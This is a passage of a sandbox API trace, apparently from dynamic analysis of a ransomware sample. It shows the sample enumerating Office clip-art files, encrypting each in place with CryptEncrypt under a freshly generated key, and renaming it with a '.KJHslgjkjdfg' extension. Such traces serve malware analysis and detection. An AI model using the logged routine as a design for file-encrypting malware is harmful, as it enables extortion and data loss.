lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.779] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.779] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.779] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.779] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.779] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.779] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.779] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4048, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4048, lpOverlapped=0x0) returned 1 [0207.780] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4050, dwBufLen=0x4050 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4050) returned 1 [0207.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.781] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4050, lpOverlapped=0x0) returned 1 [0207.781] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.781] SetEndOfFile (hFile=0x130) returned 1 [0207.783] GetProcessHeap () returned 0x990000 [0207.783] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.783] GetProcessHeap () returned 0x990000 [0207.783] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.kjhslgjkjdfg")) returned 1 [0207.785] CloseHandle (hObject=0x130) returned 1 [0207.785] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1 [0207.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.786] GetProcessHeap () returned 0x990000 [0207.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.786] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.787] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0207.788] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.788] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.789] GetProcessHeap () returned 0x990000 [0207.789] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.789] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.789] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.789] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.789] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.789] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.789] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.789] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.789] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.789] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.789] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x629, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x629, lpOverlapped=0x0) returned 1 [0207.789] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x630, dwBufLen=0x630 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x630) returned 1 [0207.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.789] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x630, lpOverlapped=0x0) returned 1 [0207.789] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.790] SetEndOfFile (hFile=0x130) returned 1 [0207.792] GetProcessHeap () returned 0x990000 [0207.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.792] GetProcessHeap () returned 0x990000 [0207.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.kjhslgjkjdfg")) returned 1 [0207.793] CloseHandle (hObject=0x130) returned 1 [0207.793] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1 [0207.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.794] GetProcessHeap () returned 0x990000 [0207.794] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.795] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.795] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.798] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.798] GetProcessHeap () returned 0x990000 [0207.798] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.798] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.798] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.798] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.798] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.799] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.799] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.799] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.799] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.799] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.799] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8628, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8628, lpOverlapped=0x0) returned 1 [0207.800] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8630, dwBufLen=0x8630 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8630) returned 1 [0207.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.800] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8630, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8630, lpOverlapped=0x0) returned 1 [0207.801] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.801] SetEndOfFile (hFile=0x130) returned 1 [0207.803] GetProcessHeap () returned 0x990000 [0207.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.803] GetProcessHeap () returned 0x990000 [0207.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.kjhslgjkjdfg")) returned 1 [0207.805] CloseHandle (hObject=0x130) returned 1 [0207.805] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1 [0207.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.806] GetProcessHeap () returned 0x990000 [0207.806] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.806] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.807] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.807] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.807] GetProcessHeap () returned 0x990000 [0207.807] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.807] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.807] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.807] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.809] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.809] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.809] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.809] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.809] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.809] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7e90, lpOverlapped=0x0) returned 1 [0207.811] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e90) returned 1 [0207.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.811] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7e90, lpOverlapped=0x0) returned 1 [0207.812] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.812] SetEndOfFile (hFile=0x130) returned 1 [0207.815] GetProcessHeap () returned 0x990000 [0207.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.815] GetProcessHeap () returned 0x990000 [0207.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.kjhslgjkjdfg")) returned 1 [0207.816] CloseHandle (hObject=0x130) returned 1 [0207.817] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1 [0207.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.818] GetProcessHeap () returned 0x990000 [0207.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.818] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.819] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0207.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.820] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.820] GetProcessHeap () returned 0x990000 [0207.820] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.820] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.820] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.820] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.821] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.821] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.821] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.821] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.821] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.821] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.821] 